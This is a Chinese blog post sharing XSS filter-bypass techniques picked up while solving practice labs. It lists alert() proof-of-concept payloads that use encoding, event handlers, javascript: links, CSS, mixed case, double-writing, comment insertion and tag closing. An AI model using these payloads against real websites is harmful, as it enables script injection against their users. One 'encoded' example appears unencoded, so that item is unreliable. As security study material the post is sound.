一些简单的xss绕过方法

最近在攻克xss靶场,学习了一些绕过的方法,和大家进行分享,首先有几种常见的:

1、利用编码

原理:通过对攻击载荷进行编码,如 URL 编码、HTML 实体编码等,使安全检测机制无法识别,而浏览器在解析时会将编码还原为可执行的脚本。

举例:正常的 XSS 攻击脚本可能是<script>alert('XSS')</script>,经过 URL 编码后变为%3Cscript%3Ealert('XSS')%3C/script%3E。如果网站没有对 URL 编码进行正确解码和检测,就可能被绕过。

2、利用标签特性

原理:利用 HTML 标签的一些特殊属性和特性,来执行脚本代码

举例:利用img标签的onerror属性:<img src=x onerror=alert('XSS')>,当图片加载失败时,就会执行onerror属性中的脚本。或者利用a标签的href属性:<a href="javascript:alert('XSS')">点击我</a>,用户点击链接时,就会执行 JavaScript 代码。

3、利用事件处理函数绕过

原理:利用 HTML 元素的各种事件处理函数,如onmouseoveronclick等,当用户触发相应事件时,执行恶意脚本。

举例:<div onmouseover="alert('XSS')">鼠标移到我上面</div>,用户将鼠标移到该div元素上时,就会弹出提示框。

4、利用 CSS 特性绕过

原理:通过 CSS 的一些属性,如@importurl()等,结合可执行脚本的 URL,来执行脚本。

举例:<style>@import url("javascript:alert('XSS');");</style>,当浏览器解析 CSS 时,就会执行其中的脚本。

5、利用浏览器漏洞绕过

原理:某些浏览器存在特定的漏洞,攻击者可以利用这些漏洞来绕过安全限制,执行 XSS 攻击。

举例:在某些旧版本的 IE 浏览器中,存在对innerHTML属性赋值时的漏洞。攻击者可以构造如下代码:<div id="test"></div><script>document.getElementById('test').innerHTML = '<img src=x onerror=alert("XSS")>';</script>,在这些存在漏洞的浏览器中就可能成功执行 XSS 攻击。

6、利用双写绕过

原理:将敏感字符或关键字进行双写,以绕过一些简单的字符过滤机制。当应用程序对输入进行检查时,可能只检查了单次出现的敏感字符,而忽略了双写的情况。

举例:如果网站过滤了<script>标签,攻击者可以尝试<scrscriptipt>alert('XSS')</scrscriptipt>,在经过过滤后,剩下的<script>alert('XSS')</script>仍然可以执行

以上这几种绕过的方法可以在平时做题过程中能够解决大部分的题目,当然还有其他的一些不常见的绕过方法暂时还没学习到位,请等待接下来的慢慢更新。

### 3.1 XSS漏洞绕过方法 XSS(跨站脚本攻击)漏洞常用于在网页中注入恶意脚本,攻击者通过绕过前端或后端的过滤机制实现攻击目的。以下是一些常见的绕过方式: #### 3.1.1 大小写混编绕过 某些网站采用简单的黑名单机制,仅过滤特定关键字如 `<script>`,但未对大小写进行统一处理。攻击者可利用大小写混合的方式绕过检测机制,例如使用 `<ScRiPt>` 或 `<sCrIpT>` 等形式[^1]。 示例: ```html <ScRiPt>alert(1)</sCrIpT> ``` #### 3.1.2 双写绕过 部分过滤机制会对特定关键字进行替换或删除,例如将 `<script>` 替换为空字符串。攻击者可以采用双写方式,使过滤逻辑无法完全匹配目标字符串,从而保留原始内容[^3]。 示例: ```html <scr<script>ipt>alert(1)</scr</script>ipt> ``` #### 3.1.3 使用注释插入干扰字符 攻击者可以在标签中插入 HTML 注释 `<!-- -->`,以破坏过滤器对关键字的识别。例如: ```html <scr<!--1-->ipt>alert(1)</scr<!--2-->ipt> ``` 这种方式可绕过对完整标签的识别[^2]。 #### 3.1.4 引号绕过与标签闭合 当输入被包裹在标签属性中时,攻击者可以通过闭合标签并插入恶意代码的方式实现攻击。例如,在 `<input value="...">` 中注入: ```html "><script>alert(1)</script> ``` 此外,若引号被过滤,可尝试省略引号或使用其他属性触发[^3]。 #### 3.1.5 利用伪协议与事件触发 攻击者可以利用 `javascript:` 伪协议构造恶意链接,例如: ```html <a href="javascript:alert(1)">点击</a> ``` 此外,利用 HTML 事件如 `onerror`、`onload` 等也可实现无 `<script>` 标签的攻击: ```html <img src="x" onerror="alert(1)"> ``` 该方式可绕过对 `<script>` 的过滤。 #### 3.1.6 编码绕过 使用 HTML 实体编码、URL 编码等方式可绕过对关键字的检测。例如: ```html <script>alert(1)</script> ``` 或将整个标签进行 Unicode 编码,使得过滤器无法识别原始字符串[^1]。 #### 3.1.7 使用其他标签和样式注入 除 `<script>` 外,攻击者还可利用 `<img>`、`<body>`、`<style>` 等标签实现 XSS 攻击。例如: ```html <body onload="alert(1)"> ``` 或在 CSS 中嵌入脚本,如: ```html <style type="text/css"> { background:url("javascript:alert(1)"); } </style> ``` 此类方式可绕过对脚本标签的过滤[^3]。 --- ### 3.2 XSS绕过技巧总结 - **标签闭合与属性注入**:通过闭合当前标签并插入新标签实现脚本注入。 - **大小写变形与双写**:绕过关键字黑名单机制。 - **注释干扰与拆分注入**:破坏关键字识别逻辑。 - **事件触发与伪协议**:无需完整 `<script>` 标签即可执行脚本。 - **编码与实体转换**:绕过对明文关键字的检测。 - **样式与标签变形**:利用非脚本标签执行恶意逻辑。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值